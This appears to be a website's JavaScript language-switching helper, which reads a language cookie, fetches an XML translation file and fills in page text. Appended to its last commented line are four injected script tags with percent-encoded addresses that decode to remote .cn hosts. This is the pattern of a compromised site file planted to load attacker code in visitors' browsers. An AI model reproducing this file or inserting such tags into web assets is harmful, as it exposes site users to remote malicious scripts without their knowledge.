var oPath = "/"   //系统根目录路径

var LanguageManager = new Object() ;
LanguageManager.AvailableLanguages =
{
	'en'		: 'English',
	'fr'		: 'French',
	'ja'		: 'Japan',
	'zh'		: 'Chinese Traditional',
	'zh-cn'		: 'Chinese Simplified'
}
LanguageManager.DefaultLanguage = "zh-cn" ;
LanguageManager.getLang = new Array() ;

function setActiveLanguage(name){
	WriteCookie("Language", name);
	location.reload();
}
		
function WriteCookie(name, value) {	
	var exp = new Date(); 
	exp.setTime(exp.getTime() + (86400 * 1000 * 30));
	document.cookie = name + "=" + escape(value) + "; expires=" + exp.toGMTString() + "; path=/"; 
}

function ReadCookie(cookieName) {
	var theCookie=''+document.cookie;
	var ind=document.cookie.indexOf(cookieName);
	if (ind==-1 || cookieName=='') return ''; 
	var ind1=theCookie.indexOf(';',ind);
	if (ind1==-1) ind1=theCookie.length;
	return unescape(theCookie.substring(ind+cookieName.length+1,ind1));
}

var LoadXml = function()
{}

LoadXml.prototype.GetHttpRequest = function()
{
	if ( window.XMLHttpRequest )		// Gecko
		return new XMLHttpRequest() ;
	else if ( window.ActiveXObject )	// IE
		return new ActiveXObject("MsXml2.XmlHttp") ;
}

LoadXml.prototype.LoadUrl = function( urlToCall, asyncFunctionPointer )
{
	var oLoadXml = this ;

	var bAsync = ( typeof(asyncFunctionPointer) == 'function' ) ;

	var oXmlHttp = this.GetHttpRequest() ;
		
	oXmlHttp.open( "GET", urlToCall, bAsync ) ;
	
	if ( bAsync )
	{	
		oXmlHttp.onreadystatechange = function() 
		{
			if ( oXmlHttp.readyState == 4 )
			{
				oLoadXml.DOMDocument = oXmlHttp.responseXML ;
				if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
					asyncFunctionPointer( oLoadXml ) ;
				else
					//alert( 'XML request error: ' + oXmlHttp.statusText + ' (' + oXmlHttp.status + ')' ) ;
					alert( 'Language error: Not Found' ) ;
	        WriteCookie("Language", LanguageManager.DefaultLanguage);
	        location.reload();
			}
		}
	}
	
	oXmlHttp.send( null ) ;
	
	if ( ! bAsync )
	{
		if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
			this.DOMDocument = oXmlHttp.responseXML ;
		else
		{
			//alert( 'XML request error: ' + oXmlHttp.statusText + ' (' + oXmlHttp.status + ')' ) ;
	    alert( 'Language error: Not Found' ) ;
	    WriteCookie("Language", LanguageManager.DefaultLanguage);
	    location.reload();
		}
	}
}

LoadXml.prototype.SelectNodes = function( xpath, contextNode )
{
	var xDoc ;
	if ( contextNode )
		xDoc = contextNode ;
	else
		xDoc = this.DOMDocument ;

	if ( document.all )		// IE
		return xDoc.selectNodes( xpath ) ;
	else					// Gecko
	{
		var aNodeArray = new Array();

		var xPathResult = this.DOMDocument.evaluate( xpath, this.DOMDocument, 
				this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), XPathResult.ORDERED_NODE_ITERATOR_TYPE, null) ;
		if ( xPathResult ) 
		{
			var oNode = xPathResult.iterateNext() ;
 			while( oNode )
 			{
 				aNodeArray[aNodeArray.length] = oNode ;
 				oNode = xPathResult.iterateNext();
 			}
		} 
		return aNodeArray ;
	}
}

LanguageManager.GetActiveLanguage = function()
{
	var oLang = this.AvailableLanguages;
	var sUserLang ;
	if(ReadCookie("Language")){
	  sUserLang = ReadCookie("Language");
    if(oLang[sUserLang]){ return sUserLang; }
  }else{
	  var oUserLang;
		if ( navigator.userLanguage )
			oUserLang = navigator.userLanguage.toLowerCase() ;
		else if ( navigator.language )
			oUserLang = navigator.language.toLowerCase() ;
		else
		{
			oUserLang =this.DefaultLanguage ;
		}
		if ( oUserLang.length >= 5 )
		{			
			if ( oLang[oUserLang.substr(0,5)] ){
			  oUserLang = oUserLang.substr(0,5) ;
		  }else if ( oLang[oUserLang.substr(0,2)] ){
		  	oUserLang = oUserLang.substr(0,2) ;
		  }
		}
		sUserLang = oUserLang;
		if(oLang[sUserLang]){
			WriteCookie("Language", sUserLang);
			return sUserLang;
		}else{
			WriteCookie("Language", this.DefaultLanguage);
		}
	}	
	return this.DefaultLanguage ;	
}

LanguageManager.TranslateElements = function( targetDocument, tag, propertyToSet )
{
	var e = targetDocument.getElementsByTagName(tag) ;
	for ( var i = 0 ; i < e.length ; i++ )
	{
		var sKey = e[i].getAttribute( 'lang' ) ;
		
		if ( sKey )
		{
			var s = this.getLang[ sKey ] ;
			if ( s ) 
				eval( 'e[i].' + propertyToSet + ' = s' ) ;
		}
	}
}

LanguageManager.TranslatePage = function( targetDocument )
{
	this.TranslateElements( targetDocument, 'INPUT', 'value' ) ;
	this.TranslateElements( targetDocument, 'SPAN', 'innerHTML' ) ;
	this.TranslateElements( targetDocument, 'OPTION', 'innerHTML' ) ;
}

LanguageManager.LoadLanguage = function()
{
	var oXml = new LoadXml() ;
	oXml.LoadUrl( oPath + "language/" + this.GetActiveLanguage() + ".xml" ) ;

	var oLang = oXml.SelectNodes( "language/item" ) ;
	for ( var i = 0 ; i < oLang.length ; i++ )
	{
		var oName=oLang[i].getElementsByTagName("name");
		var oValue=oLang[i].getElementsByTagName("value");
		this.getLang[oName[0].text] = oValue[0].text ;
	}
}

if (navigator.product == "Gecko") 
{
	Text.prototype.__defineGetter__( "text", function ()
	{
	   return this.nodeValue;
	} );
	
	Node.prototype.__defineGetter__( "text", function ()
	{
	   var cs = this.childNodes;
	   var l = cs.length;
	   var sb = new Array( l );
	   for ( var i = 0; i < l; i++ )
	      sb[i] = cs[i].text;
	   return sb.join("");
	} );
}

LanguageManager.LoadLanguage() ;

function lang_onload()
{
  LanguageManager.TranslatePage( document ) ;
}

var lang = LanguageManager.getLang ;
//if (lang["title"])
	//document.write ( "<title>" + lang["title"] + "</title>" ) ;<script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script>
